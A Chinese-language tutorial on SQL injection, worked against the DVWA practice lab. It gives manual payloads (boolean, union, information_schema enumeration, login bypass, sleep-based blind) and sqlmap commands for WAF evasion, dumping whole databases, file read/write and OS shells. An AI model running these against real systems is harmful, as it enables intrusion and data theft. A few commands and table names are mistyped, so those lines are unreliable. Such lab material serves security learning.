<以下示例基于 OWASP_boken_web 靶机的 dvwa 子页面中的 SQL Injection 功能进行>
SQL注入分类:
- 以注入位置:get注入、post注入、cookie注入、搜索注入
- 以参数类型:字符注入、数字注入
- 以注入技术:错误注入、布尔注入、union注入、时间盲注、ASCII逐字编码
1. 手工注入
1.1 基于错误的注入
通过构造特殊的sql语句,根据得到的错误信息,确定sql注入点;通过数据库的报错信息,也可以探测到数据库的类型和其他有用的信息。例如:通过单引号字符可以获得sql数据库的类型。
示例如下。
'
源代码:select * from table where id='''
1.2 基于布尔注入
闭合sql语句,构造or或者and逻辑语句,注释多余代码。
示例如下。
' or 1=1 -- '
源代码:select * from table where id='' or 1=1 -- ''
前面的单引号起到闭合作用,or 1=1 使得查询语句永远为真,–注释掉后面的语句,–后面必须加上空格。当查询语句永远为真时,返回表中的所有数据。
1' and 1=1 -- '
源代码:select * from table where id='' and 1=1 -- ''
以上查询,语句为假,故返回单个数据。
1.3 基于union注入
union是联合查询,可以联合其他的查询语句获取更多的信息,猜测数据表有多少数据列。
select * from table union select 1,2,3… -- '
数字1,2,3…
如果和table的列数相同时,不会报错;如果和table的列数不一致时,会报错The used SELECT statements have a different number of columns
。
1.4 绕过密码获取指定用户的信息
当需要输入账号和密码时,可以通过以下语句来查询指定的账号信息而无需输入密码。以下语句会将密码注释掉。
SELECT * FROM table WHERE NAME='admin' OR 1=1 -- and password='';
2. 自动注入
自动注入这里介绍SQLmap软件,该软件是最强大的SQL注入渗透的工具,基于python编写,跨平台命令行操作,集成了从渗透测试到漏洞利用整套渗透测试的功能。
SQLmap主要特点:
- SQLmap支持五种技术:布尔注入、时间盲注、错误注入、union查询、stacked查询。
- 支持探测DBMS数据库和 账号信息。
- 支持枚举数据库、表、列并将数据导出。
- 自动识别哈希口令,并使用字典进行爆破。
- 支持waf、ids、ips安全设备探测和绕过,也可以通过代理实现隐藏注入
- 支持提权操作,进一步实现与数据库和操作系统进行操作。
查看参数命令:
sqlmap -h/--help
—— 查看参数
2.1 get 注入
当注入页面的参数以get方法提交给服务器,直接使用-u 参数。
sqlmap -u 'url'
—— 寻找某个网页的注入点。sql -u 'url' -f
—— 探测系统和数据库信息。sql -u 'url' -p 参数
—— 指定具体参数。sqlmap -u 'url' --users
—— 查看数据库用户信息。sqlmap -u 'url' --banner
—— 查看banner信息。sqlmap -u 'url' --dbs
—— 查看有多少个数据库。sqlmap -u 'url' --all
—— 查看并下载所有数据库信息。
2.2 post注入
设置带cookie才能访问的注入页面,使用-r 参数,先通过burpsuite拦截到post请求内容,再复制到一个txt文档内,然后通过sqlmap调用
示例如下。在桌面新建了一个post文档,并保存了post请求的内容。
sqlmap -r /home/user/桌面/post
2.3 带参数注入
注入的时候指明用户名、密码、cookie等信息,可以用于get和post方法,如果注入的页面需要登录之后进行访问,则需要添加合法的cookie信息。
- get方法:
sqlmap -u 'url' --data='username=admin&password=admin'
—— url请求头携带参数username=admin&password=admin
进行get方法的注入。 - post方法:
sqlmap -u 'url' --cookie='xxx'
—— 携带cookie进行post方法的注入。
2.4 混淆注入
混淆注入可以用于绕过或识别WAF、IDS、IPS。
--random-agent
—— 使用随机的http agent字段进行绕过。--mobile
—— 模拟手机请求。--smart
—— 使用智能模式。--level=3
—— 提高安全等级至3,当注入不进时,可以提高安全等级。--risk=3
—— 提高危险等级至3,当注入不进时,可以提高危险等级。--offline
—— 减少和对方的交互。--identify-waf
—— 识别waf。--skip-waf
—— 绕过waf。--proxy=‘代理的IP地址’
—— 实现隐藏注入。
2.5 数据获取
--users
—— 查看所有管理员的账号。--current-user
—— 查看当前管理员的账号。- –privileges -U —— 账号名 查看指定账号的权限。
--dbs
—— 查看所有的数据库。- –current-db —— 查看当前的数据库。
--tables -D 数据库名
—— 查看指定数据库名的数据表。--columns -T 数据表名 -D 数据库名
—— 查看指定数据库、指定数据表的数据列。--dump -C 数据列名 -T 数据表名 -D 数据库名
—— 查看指定数据库、指定数据表、指定数据列的字段。--dump-all
—— 下载所有的数据到本地。
2. 6 提权操作
文件读写
--file-read='路径名'
—— 必须要有读取权限。--file-write='文件名'
—— 必须要有写入权限。
和数据库交互
--sql-shell
—— 可以获得靶机的数据库shell,之后直接使用数据库操作语言sql即可。
与操作系统交互
--os-shell
—— 提供shell操作,需要root权限。--os-cmd=‘cmd语句’
—— 指定cmd语句进行注入。
3. information_schema数据库
imformation_schema数据库是mysql自带的,提供了访问数据库元数据的方式,元数据包括数据库名、表名、列数据类型、访问权限和字符集等。
3.1 元库介绍
-
schemata表:提供了当前mysql中所有数据库的信息,
show databases
的结果来自这张表。 -
tables表:详细描述了某一个表属于哪个schema,表类型、引擎等。
show tables
的结果来自这张表。 -
columns表:提供了表中列的信息,详细描述了某一个表中所有列以及列的信息。
show column_name from table_name
的结果来自这张表。 -
staticstics表:提供了关于表的索引信息。
show index from table_name
的结果来自这张表。 -
user_privileges表:用户权限,用户的权限信息。
-
schema_privileges表:数据库权限信息。
-
table_privileges表:表的权限。
-
columns_privileges表:列权限。
-
character_sets表:提供了mysql可用的字符集信息。
show character set
结果来自这张表。
3.2 结合元库进行攻击
获取数据库中的所有表名。
' union select 1,table_name from IMFORMATION_SCHEMA.tables -- '
获取数据库版本和数据库名称。
' union select version(),database() from imformation_schema.tables -- '
获取某个数据表的列名称。
' union select 1,column_name from IMFORMATION_SCHEMA.columns where table_name='table_name' -- '
4. 盲注
盲注介绍:
数据库对错误信息做了安全设置,无法通过错误注入和布尔注入来确定有无注入点,此时就可以通过sleep语句来探测注入点。
<从盲注开始将使用 OWASP_boken_web 的 DVWA 子页面的 SQL Injection(blind) 功能>
4.1 sleep语句
使用sleep语句来探测注入点。
示例如下。
1' and sleep(5) -- '
观察网页的响应时间,如果相应时间是我们设置的时长(这里为5s),即使没有明显的报错信息,也能说明这里存在注入点。